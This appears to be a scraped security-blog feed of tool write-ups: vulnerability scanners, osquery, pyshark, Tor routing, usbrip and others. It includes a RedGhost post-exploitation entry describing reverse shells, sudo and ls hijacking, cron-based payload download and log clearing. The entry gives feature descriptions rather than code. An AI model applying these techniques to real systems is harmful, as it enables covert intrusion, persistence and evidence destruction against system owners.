Quantcast
Channel: Hackers Online Club (HOC)
Viewing all 855 articles
Browse latest View live

SQLi Scanner- To Detect SQL Injection Vulnerability

$
0
0


SQLi Scanner- To Detect SQL Injection Vulnerability


ScanQLi is a simple SQL injection scanner with some additional features. 


This tool can't exploit the SQLi, it just detect them. Tested on Debian 9

Features


  • Classic
  • Blind
  • Time based
  • GBK (soon)
  • Recursive scan (follow all hrefs of the scanned web site)
  • Cookies integration
  • Adjustable wait delay between requests
  • Ignore given URLs

Prerequisites

1. Install git tool

apt update
apt install git

2. Clone the repo.

git clone https://github.com/bambish/ScanQLi

3. Install python required libs

apt install python-pip
cd ScanQLi
pip install -r requirements.txt

For python3 please install python3-pip and use pip3

Usage

./scanqli -u [URL] [OPTIONS]

Examples

Simple url scan with output file

python scanqli.py -u 'http://127.0.0.1/test/?p=news' -o output.log

Recursive URL scanning with cookies

python scanqli.py -u 'https://127.0.0.1/test/' -r -c '{"PHPSESSID":"4bn7uro8qq62ol4o667bejbqo3" , "Session":"Mzo6YWMwZGRmOWU2

Download SQLi Scanner

Vulmap- An Open Source Online Local Vulnerability Scanner Project

$
0
0


Vulmap- An Open Source Online Local Vulnerability Scanner Project


It consists of online local vulnerability scanning programs for Windows and Linux operating systems. 


These scripts can be used for defensive and offensive purposes. It is possible to make vulnerability assessments using these scripts. Also they can be used for privilege escalation by pentesters/red team.

Vulmap can be used to, scan vulnerabilities on localhost, see related exploits and download them. Scripts basically, scan localhost to gather installed software information and ask vulmon.com api if there are any vulnerabilities and exploits related with installed software.

If vulnerabilities exist, Vulmap give CVE ID, risk score, vulnerability's detail link, if exists related exploit ids and exploit titles. Exploits can be downloaded with Vulmap also.

Main idea of Vulmap is getting real-time vulnerability data from Vulmon instead of relying of a local vulnerability database. Even the most recent vulnerabilities can be detected with this approach. Also its exploit download feature aids privilege escalation processes. Pentesters and red team can download exploits from Exploit DB from command prompt. To use this feature only thing needed is id of exploits.

Since most Linux installations have Python, Vulmap Linux is developed with Python while Vulmap Windows is developed with PowerShell to make it easy to run it on most Windows versions. Vulmap Linux is compatible with Python 2.x and dpkg package management system. Vulmap Windows is compatible with PowerShell v3 and higher.

Use below links to get detailed information about vulmap:

Vulmap Linux - Python script for Linux systems


Recommended Platform and Python Version

Vulmap currently only supports linux platforms and Python2

  • The recommended version for Python 2 is 2.7.x
  • Compatible with Linux distros uses dpkg


Installation

git clone https://github.com/vulmon/Vulmap-Local-Vulnerability-Scanners.git
Run in default mode

python vulmap-linux.py

Usage

Default mode. Check vulnerabilities of installed packages.

Short Form Long Form                     Description
-v                 --verbose        Enable the verbose mode and display results in realtime
-d                --download       <exploit_id> to download a specific exploit
-a                --all-downloadDownload all found exploits
-h                --help                Show the help message and exit

Examples


  • To list all the basic options and switches use -h switch:

python vulmap-linux.py -h


  • Run in default mode:

python vulmap-linux.py


  • Enable the verbose mode:

python vulmap-linux.py -v


  • To download of all found exploits:

python vulmap-linux.py -a


  • To download a specific exploit:

python vulmap-linux.py -d <exploit_id>
python vulmap-linux.py -d EDB20
python vulmap-linux.py -d EDB8310


Vulmap Windows - Powershell script for Windows systems


Online local vulnerability scanner for Windows systems. Finds installed software on the host, asks their vulnerabilities to vulmon.com API and print vulnerabilities with available exploits. All found exploits can be downloaded by Vulmap.

Recommended Platform

Compatible with PowerShell v3 and higher

Usage

Parameter                                                Description
  • DefaultMode                                 Conducts a vulnerability scanning. Default mode.
  • OnlyExploitableVulns                 Conducts a vulnerability scanning and only shows vulnerabilities that have exploits.
  • DownloadExploit <exploit_id>Downloads given exploit.
  • DownloadAllExploits                Scans the computer and downloads all available exploits.

Examples

  • Default mode. Conducts a vulnerability scanning:
PS> Invoke-Vulmap
  • Conducts a vulnerability scanning and only shows vulnerabilities that have exploits:
PS> Invoke-Vulmap -OnlyExploitableVulns
  • Downloads given exploit:
PS> Invoke-Vulmap -DownloadExploit EDB9386
  • Scans the computer and downloads all available exploits:
PS> Invoke-Vulmap -DownloadAllExploits


To-Do:


  • Operating system level vulnerabilities will be detected at Windows
  • Other Linux package management systems will be supported
  • macOS script will be developed
  • Android and iOS scripts will be developed

Bashter- Web Crawler, Scanner, and Analyzer Framework

$
0
0


Bashter- Web Crawler, Scanner, and Analyzer Framework (Shell-Script based)



Bashter is a tool for scanning a Web-based Application. Bashter is very suitable for doing Bug Bounty or Penetration Testing. 


It is designed like a framework so you can easily add a script for detect vulnerability.

For Example

To be more powerful, You can add something script (custom) like this:
  • modules/form/yourscript.bash {WEB-URL} {SOURCECODE}
  • modules/url/yourscript.bash {WEB-URL} {SOURCECODE}
  • modules/header/yourscript.bash {WEB-URL} {SOURCECODE}


For the sample, you can follow existing scripts.

Disable Script

You only need to change the extension, for example .bash => .bashx.

by Default:

  • Web Crawler
  • Gather Input Form
  • Detect Missconfigured CORS
  • Detect missing X-FRAME-OPTIONS (Clickjacking Potential)
  • Detect Reflected XSS via URL
  • Detect Reflected XSS via Form
  • Detect HTTP Splitting Response via CRLF Injection
  • Detect Open Redirect

Tested on:

Linux, Ubuntu, Linux Debian

How to Run:

git clone https://github.com/zerobyte-id/Bashter.git

cd Bashter/

bash bashter.bash

Notes:

This tool will consume a lot of disk usage, so don't forget to housekeep bashter-tempdata and scan-logs.

Download

OSquery- SQL Powered Operating System Instrumentation, Monitoring And Analytics

$
0
0


OSQuery- SQL Powered Operating System Instrumentation, Monitoring And Analytics


osquery is a SQL powered operating system instrumentation, monitoring, and analytics framework.
Available for Linux, macOS, Windows and FreeBSD.

What is osquery?

osquery exposes an operating system as a high-performance relational database. This allows you to write SQL-based queries to explore operating system data. With osquery, SQL tables represent abstract concepts such as running processes, loaded kernel modules, open network connections, browser plugins, hardware events or file hashes.

SQL tables are implemented via a simple plugin and extensions API. A variety of tables already exist and more are being written: https://osquery.io/schema.

To best understand the expressiveness that is afforded to you by osquery, consider the following SQL queries:

List the users:

SELECT * FROM users;

Check the processes that have a deleted executable:

SELECT * FROM processes WHERE on_disk = 0;

Get the process name, port, and PID, for processes listening on all interfaces:

SELECT DISTINCT processes.name, listening_ports.port, processes.pid
  FROM listening_ports JOIN processes USING (pid)
  WHERE listening_ports.address = '0.0.0.0';

Find every macOS LaunchDaemon that launches an executable and keeps it running:

SELECT name, program || program_arguments AS executable
  FROM launchd
  WHERE (run_at_load = 1 AND keep_alive = 1)
  AND (program != '' OR program_arguments != '');

Check for ARP anomalies from the host's perspective:

SELECT address, mac, COUNT(mac) AS mac_count
  FROM arp_cache GROUP BY mac
  HAVING count(mac) > 1;

Alternatively, you could also use a SQL sub-query to accomplish the same result:

SELECT address, mac, mac_count
  FROM
    (SELECT address, mac, COUNT(mac) AS mac_count FROM arp_cache GROUP BY mac)
  WHERE mac_count > 1;

These queries can be:
  • Performed on an ad-hoc basis to explore operating system state using the osqueryi shell
  • Executed via a scheduler to monitor operating system state across a set of hosts
  • Launched from custom applications using osquery Thrift APIs

FinalRecon- OSINT Tool For All-In-One Web Reconnaissance

$
0
0


FinalRecon- OSINT Tool for All-In-One Web Reconnaissance


FinalRecon is a fast and simple python script for web reconnaissance. 

It follows a modular structure so in future new modules can be added with ease.

Features

FinalRecon provides detailed information such as :

Header Information




WHOIS




SSL Certificate Details




Found Flag in SSL Certificate - Securinets CTF Quals 2019 - Hidden (200 Points)

Crawler




More modules will be added in future

Tested on

  • Kali Linux 2019.1
  • BlackArch Linux

Installation

git clone https://github.com/thewhiteh4t/FinalRecon.git
cd FinalRecon
pip3 install -r requirements.txt

Usage

python3 finalrecon.py -h
usage: finalrecon.py [-h] [--headers] [--sslinfo] [--whois] [--crawl] [--full]
                     url

FinalRecon - OSINT Tool for All-In-One Web Recon | v1.0.0

positional arguments:
  url         Target URL

optional arguments:
  -h, --help  show this help message and exit
  --headers   Get Header Information
  --sslinfo   Get SSL Certificate Information
  --whois     Get Whois Lookup
  --crawl     Crawl Target Website
  --full      Get Full Analysis, Test All Available Options

# Check headers

python3 finalrecon.py --headers <url>

# Check ssl Certificate

python3 finalrecon.py --sslinfo <url>

# Check whois Information

python3 finalrecon.py --whois <url>

# Crawl Target

python3 finalrecon.py --crawl <url>

# full scan

python3 finalrecon.py --full <url>

Download FinalRecon

Terminus- Terminal Emulator For Windows, MacOS And Linux

$
0
0

Terminus is a highly configurable terminal emulator for Windows, macOS and Linux



  • Theming and color schemes
  • Fully configurable shortcuts
  • Split panes
  • Remembers your tabs
  • PowerShell (and PS Core), WSL, Git-Bash, Cygwin, Cmder and CMD support
  • Integrated SSH client and connection manager
  • Full Unicode support including double-width characters
  • Doesn't choke on fast-flowing outputs
  • Proper shell experience on Windows including tab completion (via Clink)


Terminus is an alternative to Windows' standard terminal (conhost), PowerShell ISE, PuTTY or iTerm

Terminus is not a new shell or a MinGW or Cygwin replacement. Neither is it lightweight - if RAM usage is of importance, consider Conemu or Alacritty

Plugins

Plugins and themes can be installed directly from the Settings view inside Terminus.

  • clickable-links - makes paths and URLs in the terminal clickable
  • shell-selector - a quick shell selector pane
  • title-control - allows modifying the title of the terminal tabs by providing a prefix, suffix, and/or strings to be removed
  • quick-cmds - quickly send commands to one or all terminal tabs
  • save-output - record terminal output into a file
  • scrollbar - adds a scrollbar to hterm tabs


Themes


  1. hype - a Hyper inspired theme
  2. relaxed - the Relaxed theme for Terminus
  3. gruvbox
  4. windows10
  5. altair


Download Terminus

Sojobo - A Binary Analysis Framework

$
0
0
Sojobo - A Binary Analysis Framework of Potentially Malicious Files


Sojobo - A Binary Analysis Framework


Sojobo is an emulator for the B2R2 framework. It was created to easier the analysis of potentially malicious files. It is totally developed in .NET so you don't need to install or compile any other external libraries (the project is self contained).

With Sojobo you can:

  • Emulate a (32 bit) PE binary
  • Inspect the memory of the emulated process
  • Read the process state
  • Display a disassembly of the executed code
  • Emulate functions in a managed language (C# || F#)

Download


Using Sojobo

Sojobo is intended to be used as a framework to create program analysis utilities. However, various sample utilities were created in order to show how to use the framework in a profitable way.

Compile

In order to compile Sojobo you need .NET Core to be installed and Visual Studio. To compile just run build.bat.

IPFinder CLI (Command Line Interface) - To Locate and Identify Website Visitors by IP Address

$
0
0

IPFinder CLI (Command Line Interface) - To Locate and Identify Website Visitors by IP Address


  • Supports Single IP Address, asn, ranges, firewall as Input
  • Supports Bulk
  • Exports Results to Screen or to An Output File
  • Supports IPv4 and IPv6
  • Supports ASN number , RANGES , Firewall


Getting Started

singing up for a free account at https://ipfinder.io/auth/signup, for Free IPFinder API access token.

The free plan is limited to 4,000 requests a day, and doesn't include some of the data fields To enable all the data fields and additional request volumes see https://ipfinder.io/pricing.

Documentation

Visit IPFinder documentation.

System Requirements


Installation

Via composer
First, download the IPfinder cli using Composer:

composer global require ipfinder-io/ip-finder-cli

Make sure to place composer's system-wide vendor bin directory in your $PATH so the IPfinder executable can be located by your system. This directory exists in different locations based on your operating system; however, some common locations include:

  • macOS:$HOME/.composer/vendor/bin
  • GNU / Linux Distributions: $HOME/.config/composer/vendor/bin
  • Windows: %USERPROFILE%\AppData\Roaming\Composer\vendor\bin


Linux Distributions / macOS

download the IPfinder cli using from github using curl

## using curl
$ curl -LO https://github.com/ipfinder-io/ip-finder-cli/releases/download/v1.0.0/ipfinder.phar
## using wget
$ wget https://github.com/ipfinder-io/ip-finder-cli/releases/download/v1.0.0/ipfinder.phar 
$ chmod +x ipfinder.phar
$ sudo mv ipfinder.phar /usr/bin/ipfinder
$ ipfinder -h

Windows


  1. Download IPFINDER PHAR from github
  2. Create a directory for PHP binaries; e.g., C:\bin
  3. Open a command line (e.g., press Windows+R » type cmd » ENTER)
  4. Create a wrapping batch script (results in C:\bin\ipfinder.cmd):

C:\Users\username> cd C:\bin
C:\bin> echo @php "%~dp0ipfinder.phar" %* > ipfinder.cmd
C:\bin> exit

Open a new command line and confirm that you can execute IPfinder from any path:

C:\Users\username> ipfinder --help

Download IPFinder

TOR Router- To Use As Transparent Proxy And Send Traffic Under TOR

$
0
0

TOR Router- A tool that allow you to make TOR your default gateway and send all internet connections under TOR (as transparent proxy) for increase privacy/anonymity without extra unnecessary code.

Tor Router allow you to use TOR as a transparent proxy and send all your traffic under TOR INCLUDING DNS REQUESTS, the only that you need is: a system using systemd (if you want to use the service) and tor.

TOR router doesn't touch system files as the rest of tools for routing your taffic does and the reason is: there isn't needed to move files for routing traffic, also moving files is a bad idea since that a fail in the script/tool can break your system connection without you knowing what has happened.

Script to install on distros using SystemD only

If you are using BlackArch Linux (https://blackarch.org) you can install the script from the repos using the following command:

# pacman -S tor-router

To install from source:

Note that you need BASH, not sh

~$ git clone https://gitub.com/edu4rdshl/tor-router.git && cd ./tor-router && sudo bash install.sh

Usage

In distros using systemd, you should consideer using the install.sh script, anyways the process to install/configure tor-router is described here.

It script require root privileges

1. Open a terminal and clone the script using the following command:
~$ git clone https://gitub.com/edu4rdshl/tor-router.git && cd tor-router/files

2. Put the following lines at the end of /etc/tor/torrc
# Seting up TOR transparent proxy for tor-router
VirtualAddrNetwork 10.192.0.0/10
AutomapHostsOnResolve 1
TransPort 9040
DNSPort 5353

3. Restart the tor service
4. Execute the tor-router script as root
# sudo ./tor-router

5. Now all your traffic is under TOR, you can check that in the following pages: https://check.torproject.org and for DNS tests: https://dnsleaktest.com

6. In order to automate the process of the script, you should add it to the SYSTEM autostart scripts according that the init that you are using, for systemd we have a .service file in the files folder.

Uninstalling/Stoping

Delete the tor-router configuration lines in /etc/tor/torrc, disable the tor-router.service using systemctl (if you used the install.sh script), remove /usr/bin/tor-router, /etc/systemd/system/tor-router.service and restart your computer.

Proof of concept

After of run the script, follow the next steps to ensure that all is working as expected:

IP hidden and TOR network configured: 
Visit https://check.torproject.org, you should see a message like it:


Checking DNS Leaks: 

Visit https://dnsleaktest.com and make a extended test to see what are your DNS. You shloud get some like it:


Distros using the script

BlackArch Linux: https://github.com/BlackArch/blackarch/blob/master/packages/tor-router

Download TOR Router

Seccubus- Easy Automated Vulnerability Scanning, Reporting And Analysis

$
0
0


Seccubus- Easy Automated Vulnerability Scanning, Reporting And Analysis


Seccubus automates regular vulnerability scans with various tools and aids security people in the fast analysis of its output, both on the first scan and on repeated scans.

Seccubus runs vulnerability scans at regular intervals and compares the findings of the last scan with the findings of the previous scan. The delta of this scan is presented in a web GUI where findings can be easily marked as either real findings or non-issues.

On repeated scan delta reporting ensures that findings only need to be judged when they first appear in the scan results or when their output changes.

Seccubus 2.x is the only actively developed and maintained branch and all support for Seccubus V1 has officially been dropped.

Seccubus V2 works with the following scanners:
  • Nessus
  • OpenVAS
  • Skipfish
  • Medusa (local and remote)
  • Nikto (local and remote)
  • NMap (local and remote)
  • OWASP-ZAP (local and remote)
  • SSLyze
  • Medusa
  • Qualys SSL labs
  • testssl.sh (local and remote)

Docker

Available images.

         Image name                                  Purpose                        
  • seccubus                    Run a full Seccubus stack in a single container
  • seccubus-front           Serving just the front end HTML, javascript and css
  • seccubus-web            Serving front and code and API simultaniously
  • seccubus-api              Serving just the API.
  • seccubus-perl             Running command line scripts, e.g. to scan
  • seccubus-cron            Running cron deamon to execute scans


Information about the docker containers is here

Default password, changing it.

After installation the default username and password for seccubus is:

admin / GiveMeVulns!

It is highly recommended you change this after installation.

/bin/seccubus_passwd -u admin

Download Seccubus

Learn Ethical Hacking from Scratch ($23 Value) FREE For a Limited Time - eBook

$
0
0

"Learn Ethical Hacking from Scratch ($23 Value) FREE For a Limited Time"


Learn how to hack systems like black hat hackers and secure them like security experts.

This eBook will help you:

  • Understand ethical hacking and the different fields and types of hackers
  • Set up a penetration testing lab to practice safe and legal hacking
  • Explore Linux basics, commands, and how to interact with the terminal
  • Access password-protected networks and spy on connected clients
  • Use server and client-side attacks to hack and control remote computers
  • Control a hacked system remotely and use it to hack other systems
  • Discover, exploit, and prevent a number of web application vulnerabilities such as XSS and SQL injections
  • Understand how computer systems work and their vulnerabilities, exploit weaknesses and hack into machines to test their security, and learn how to secure systems from hackers now!

Free offer expires 07/23/19.

Offered Free by: Packt

 DOWNLOAD NOW!
DOWNLOAD NOW

Pyshark- To Allowing Python Packet Parsing Using Wireshark Dissectors

$
0
0


Python wrapper for tshark, allowing python packet parsing using Wireshark dissectors.


Pyshark features a few "Capture" objects (Live, Remote, File, InMem). Each of those files read from their respective source and then can be used as an iterator to get their packets. Each capture object can also receive various filters so that only some of the incoming packets will be saved.

Installation

All Platforms

Simply run the following to install the latest from pypi

pip install pyshark

Or install from the git repository:

git clone https://github.com/KimiNewt/pyshark.git
cd pyshark/src
python setup.py install

Mac OS X

You may have to install libxml which can be unexpected. If you receive an error from clang or an error message about libxml, run the following:

xcode-select --install
pip install libxml

You will probably have to accept a EULA for XCode so be ready to click an "Accept" dialog in the GUI.

Usage

Reading from a capture file:

>>> import pyshark
>>> cap = pyshark.FileCapture('/tmp/mycapture.cap')
>>> cap
<FileCapture /tmp/mycapture.cap (589 packets)>
>>> print cap[0]
Packet (Length: 698)
Layer ETH:
        Destination: BLANKED
        Source: BLANKED
        Type: IP (0x0800)
Layer IP:
        Version: 4
        Header Length: 20 bytes
        Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport))
        Total Length: 684
        Identification: 0x254f (9551)
        Flags: 0x00
        Fragment offset: 0
        Time to live: 1
        Protocol: UDP (17)
        Header checksum: 0xe148 [correct]
        Source: BLANKED
        Destination: BLANKED
  ...

Other options

  • param keep_packets: Whether to keep packets after reading them via next(). Used to conserve memory when reading large caps.
  • param input_file: Either a path or a file-like object containing either a packet capture file (PCAP, PCAP-NG..) or a TShark xml.
  • param display_filter: A display (wireshark) filter to apply on the cap before reading it.
  • param only_summaries: Only produce packet summaries, much faster but includes very little information
  • param disable_protocol: Disable detection of a protocol (tshark > version 2)
  • param decryption_key: Key used to encrypt and decrypt captured traffic.
  • param encryption_type: Standard of encryption used in captured traffic (must be either 'WEP', 'WPA-PWD', or 'WPA-PWK'. Defaults to WPA-PWK.
  • param tshark_path: Path of the tshark binary.

Reading from a live interface:

>>> capture = pyshark.LiveCapture(interface='eth0')
>>> capture.sniff(timeout=50)
>>> capture
<LiveCapture (5 packets)>
>>> capture[3]
<UDP/HTTP Packet>

for packet in capture.sniff_continuously(packet_count=5):
    print 'Just arrived:', packet

Other options
  • param interface: Name of the interface to sniff on. If not given, takes the first available.
  • param bpf_filter: BPF filter to use on packets.
  • param display_filter: Display (wireshark) filter to use.
  • param only_summaries: Only produce packet summaries, much faster but includes very little information
  • param disable_protocol: Disable detection of a protocol (tshark > version 2)
  • param decryption_key: Key used to encrypt and decrypt captured traffic.
  • param encryption_type: Standard of encryption used in captured traffic (must be either 'WEP', 'WPA-PWD', or 'WPA-PWK'. Defaults to WPA-PWK).
  • param tshark_path: Path of the tshark binary
  • param output_file: Additionally save captured packets to this file.

Reading from a live interface using a ring buffer

>>> capture = pyshark.LiveRingCapture(interface='eth0')
>>> capture.sniff(timeout=50)
>>> capture
<LiveCapture (5 packets)>
>>> capture[3]
<UDP/HTTP Packet>

for packet in capture.sniff_continuously(packet_count=5):
    print 'Just arrived:', packet

Other options
  • param ring_file_size: Size of the ring file in kB, default is 1024
  • param num_ring_files: Number of ring files to keep, default is 1
  • param ring_file_name: Name of the ring file, default is /tmp/pyshark.pcap
  • param interface: Name of the interface to sniff on. If not given, takes the first available.
  • param bpf_filter: BPF filter to use on packets.
  • param display_filter: Display (wireshark) filter to use.
  • param only_summaries: Only produce packet summaries, much faster but includes very little information
  • param disable_protocol: Disable detection of a protocol (tshark > version 2)
  • param decryption_key: Key used to encrypt and decrypt captured traffic.
  • param encryption_type: Standard of encryption used in captured traffic (must be either 'WEP', 'WPA-PWD', or 'WPA-PWK'. Defaults to WPA-PWK).
  • param tshark_path: Path of the tshark binary
  • param output_file: Additionally save captured packets to this file.

Reading from a live remote interface:

>>> capture = pyshark.RemoteCapture('192.168.1.101', 'eth0')
>>> capture.sniff(timeout=50)
>>> capture

Other options
  • param remote_host: The remote host to capture on (IP or hostname). Should be running rpcapd.
  • param remote_interface: The remote interface on the remote machine to capture on. Note that on windows it is not the device display name but the true interface name (i.e. \Device\NPF_..).
  • param remote_port: The remote port the rpcapd service is listening on
  • param bpf_filter: A BPF (tcpdump) filter to apply on the cap before reading.
  • param only_summaries: Only produce packet summaries, much faster but includes very little information
  • param disable_protocol: Disable detection of a protocol (tshark > version 2)
  • param decryption_key: Key used to encrypt and decrypt captured traffic.
  • param encryption_type: Standard of encryption used in captured traffic (must be either 'WEP', 'WPA-PWD', or 'WPA-PWK'. Defaults to WPA-PWK).
  • param tshark_path: Path of the tshark binary

Accessing packet data:

Data can be accessed in multiple ways. Packets are divided into layers, first you have to reach the appropriate layer and then you can select your field.

All of the following work:

>>> packet['ip'].dst
192.168.0.1
>>> packet.ip.src
192.168.0.100
>>> packet[2].src
192.168.0.100

To test whether a layer is in a packet, you can use its name:

>>> 'IP' in packet
True

To see all possible field names, use the packet.layer.field_names attribute (i.e. packet.ip.field_names) or the autocomplete function on your interpreter.

You can also get the original binary data of a field, or a pretty description of it:

>>> p.ip.addr.showname
Source or Destination Address: 10.0.0.10 (10.0.0.10)
# And some new attributes as well:
>>> p.ip.addr.int_value
167772170
>>> p.ip.addr.binary_value
'\n\x00\x00\n'

Decrypting packet captures

Pyshark supports automatic decryption of traces using the WEP, WPA-PWD, and WPA-PSK standards (WPA-PWD is the default).

>>> cap1 = pyshark.FileCapture('/tmp/capture1.cap', decryption_key='password')
>>> cap2 = pyshark.LiveCapture(interface='wi0', decryption_key='password', encryption_type='wpa-psk')

A tuple of supported encryption standards, SUPPORTED_ENCRYPTION_STANDARDS, exists in each capture class.

>>> pyshark.FileCapture.SUPPORTED_ENCRYPTION_STANDARDS
('wep', 'wpa-pwd', 'wpa-psk')
>>> pyshark.LiveCapture.SUPPORTED_ENCRYPTION_STANDARDS
('wep', 'wpa-pwd', 'wpa-psk')

Python2 deprecation - 

This package no longer supports Python2. If you wish to still use it in Python2, you can:

Use version 0.3.8

  • Install pyshark-legacy via pypi
  • Clone the pyshark-legacy [repo (https://github.com/KimiNewt/pyshark-legacy)], where bugfixes will be applied.


Looking for contributors - for various reasons I have a hard time finding time to maintain and enhance the package at the moment. Any pull-requests will be reviewed and if any one is interested and is suitable, I will be happy to include them in the project. Feel free to mail me at dorgreen1 at gmail.

There are quite a few python packet parsing modules, this one is different because it doesn't actually parse any packets, it simply uses tshark's (wireshark command-line utility) ability to export XMLs to use its parsing.

This package allows parsing from a capture file or a live capture, using all wireshark dissectors you have installed. Tested on windows/linux.

Download Pyshark

RedGhost - Linux Post Exploitation Framework

$
0
0
RedGhost -  Linux Post Exploitation Framework

RedGhost- Linux post exploitation framework 


It designed to assist red teams in persistence, reconnaissance, privilege escalation and leaving no trace. 


  • Payloads
Function to generate various encoded reverse shells in netcat, bash, python, php, ruby, perl

  • SudoInject
Function to inject sudo command with wrapper function to run a reverse root shell everytime "sudo" is run for privilege escalataion

  • lsInject
Function to inject the "ls" command with a wrapper function to run payload everytime "ls" is run for persistence

  • Crontab
Function to create cron job that downloads payload from remote server and runs payload every minute for persistence

  • GetRoot
Function to try various methods to escalate privileges

  • Clearlogs
Function to clear logs and make investigation with forensics difficult

  • MassInfoGrab
Function to grab mass reconaissance/information on system

  • CheckVM
Function to check if the system is a virtual machine

  • MemoryExec
Function to execute remote bash script in memory

  • BanIp
Function to BanIp using iptables

Installation

Install RedGhost in one line code:

wget https://raw.githubusercontent.com/d4rk007/RedGhost/master/redghost.sh; chmod +x redghost.sh; ./redghost.sh

One line code to Install prerequisites and RedGhost :

wget https://raw.githubusercontent.com/d4rk007/RedGhost/master/redghost.sh; chmod +x redghost.sh; apt-get install dialog; apt-g

Download Redghost

iKy OSINT Project - To Collect Information From E-Mail With GUI

$
0
0

iky OSINT Project. Collect information from a mail. Gather, Profile, Timeline.


Project iKy is to collects information from an email and shows results in a nice visual interface.

Installation


Clone repository

git clone https://gitlab.com/kennbroorg/iKy.git

Install Backend

Redis

You must install Redis

wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
sudo make install

And turn on the server in a terminal

redis-server

Python stuff and Celery

You must install the libraries inside requirements.txt
pip install -r requirements.txt

And turn on Celery in another terminal, within the directory backend
./celery.sh

Finally, again, in another terminal turn on backend app from directory backend

python app.py

Install Frontend

Node

First of all, install nodejs.

Dependencies

Inside the directory frontend install the dependencies

npm install

Turn on Frontend Server

Finally, to run frontend server, execute:

npm start

Browser

Open the browser in this url

Config API Keys

Once the application is loaded in the browser, you should go to the Api Keys option and load the values of the APIs that are needed.
  • Fullcontact: Generate the APIs from here
  • Twitter: Generate the APIs from here
  • Linkedin: Only the user and password of your account must be loaded

Video Demo

MemGuard- Secure Software Enclave For Storage of Sensitive Information in Memory

$
0
0


MemGuard- Secure Software Enclave For Storage of Sensitive Information in Memory


This package attempts to reduce the likelihood of sensitive data being exposed. It supports all major operating systems and is written in pure Go.

Features


  • Sensitive data is encrypted and authenticated in memory using xSalsa20 and Poly1305 respectively. The scheme also defends against cold-boot attacks.
  • Memory allocation bypasses the language runtime by using system calls to query the kernel for resources directly. This avoids interference from the garbage-collector.
  • Buffers that store plaintext data are fortified with guard pages and canary values to detect spurious accesses and overflows.
  • Effort is taken to prevent sensitive data from touching the disk. This includes locking memory to prevent swapping and handling core dumps.
  • Kernel-level immutability is implemented so that attempted modification of protected regions results in an access violation.
  • Multiple endpoints provide session purging and safe termination capabilities as well as signal handling to prevent remnant data being left behind.
  • Side-channel attacks are mitigated against by making sure that the copying and comparison of data is done in constant-time.
  • Accidental memory leaks are mitigated against by harnessing the garbage-collector to automatically destroy containers that have become unreachable.

Some features were inspired by libsodium, so credits to them.

Full documentation and a complete overview of the API can be found here. Interesting and useful code samples can be found within the examples subpackage.

Installation

$ go get github.com/awnumar/memguard

We strongly encourage you to pin a specific version for a clean and reliable build. This can be accomplished using modules.

Contributing


  • Using the package and identifying points of friction.
  • Reading the source code and looking for improvements.
  • Adding interesting and useful program samples to ./examples.
  • Developing Proof-of-Concept attacks and mitigations.
  • Improving compatibility with more kernels and architectures.
  • Implementing kernel-specific and cpu-specific protections.
  • Writing useful security and crypto libraries that utilise memguard.
  • Submitting performance improvements or benchmarking code.

Issues are for reporting bugs and for discussion on proposals. Pull requests should be made against master.

Future goals


  • Ability to stream data to and from encrypted enclave objects.
  • Catch segmentation faults to wipe memory before crashing.
  • Evaluate and improve the strategies in place, particularly for Coffer objects.
  • Formalise a threat model and evaluate our performance in regards to it.
  • Use lessons learned to apply patches upstream to the Go language and runtime.

USBRIP- Simple Command Live Forensic Tool For Tracking USB device

$
0
0
USBRIP- Simple Command Live Forensic Tool For Tracking USB device

Simple command line forensics tool for tracking USB device artifacts (history of USB events) on GNU/Linux.


usbrip (derived from "USB Ripper", not "USB R.I.P." astonished) is an open source forensics tool with CLI interface that lets you keep track of USB device artifacts (aka USB event history, "Connected" and "Disconnected" events) on Linux machines.

usbrip is a small piece of software written in pure Python 3 (using some external modules though, see Dependencies/PIP) which parses Linux log files (/var/log/syslog* or /var/log/messages* depending on the distro) for constructing USB event history tables. Such tables may contain the following columns: "Connected" (date & time), "User", "VID" (vendor ID), "PID" (product ID), "Product", "Manufacturer", "Serial Number", "Port" and "Disconnected" (date & time).

Besides, it also can:
  • export gathered information as a JSON dump (and open such dumps, of course);
  • generate a list of authorized (trusted) USB devices as a JSON (call it auth.json);
  • search for "violation events" based on the auth.json: show (or generate another JSON with) USB devices that do appear in history and do NOT appear in the auth.json;
  • When installed with -s flag create crypted storages (7zip archives) to automatically backup and accumulate USB events with the help of crontab scheduler;
  • search additional details about a specific USB device based on its VID and/or PID.

Quick Start

usbrip is available for download and installation at PyPI:

$ pip3 install usbrip



Git Clone

For simplicity, lets agree that all the commands where ~/usbrip$ prefix is appeared are executed in the ~/usbrip directory which is created as a result of git clone:

~$ git clone https://github.com/snovvcrash/usbrip.git usbrip && cd usbrip
~/usbrip$

Dependencies

usbrip works with non-modified structure of system log files only, so, unfortunately, it won't be able to parse USB history if you change the format of syslogs (with syslog-ng or rsyslog, for example). That's why the timestamps of "Connected" and "Disconnected" fields don't have the year, by the way. Keep that in mind.

DEB Packages

  • python3.6 (or newer) interpreter
  • python3-venv
  • p7zip-full (used by storages module)
  • ~$ sudo apt install -y python3-venv p7zip-full

PIP Packages

usbrip makes use of the following externalmodules:
  • terminaltables
  • termcolor

To resolve Python dependencies manually (it's not necessary actually because pip or setup.py can automate the process, see Installation) create a virtual environment (optional) and run pip from within:

~/usbrip$ python3 -m venv venv && source venv/bin/activate
(venv) ~/usbrip$ pip install -r requirements.txt

Or let the pipenv one-liner do all the dirty work for you:

~/usbrip$ pipenv install && pipenv shell

After that you can run usbrip portably:

(venv) ~/usbrip$ python -m usbrip -h
Or
(venv) ~/usbrip$ python __main__.py -h

Installation

There are two ways to install usbrip into the system: pip or setup.py.

pip or setup.py

First of all, usbrip is pip installable. This means that after git cloning the repo you can simply fire up the pip installation process and after that run usbrip from anywhere in your terminal like so:

~/usbrip$ python3 -m venv venv && source venv/bin/activate
(venv) ~/usbrip$ pip install .

(venv) ~/usbrip$ usbrip -h

Or if you want to resolve Python dependencies locally (without bothering PyPI), use setup.py:

~/usbrip$ python3 -m venv venv && source venv/bin/activate
(venv) ~/usbrip$ python setup.py install

(venv) ~/usbrip$ usbrip -h

alien Note: you'd likely want to run the installation process while the Python virtual environment is active (like it is shown above).

install.sh

Secondly, usbrip can also be installed into the system with the ./installers/install.sh script.

When using the ./installers/install.sh some extra features become available:
  • the virtual environment is created automatically;
  • the storage module becomes available: you can set a crontab job to backup USB events on a schedule (the example of crontab jobs can be found in usbrip/cron/usbrip.cron).

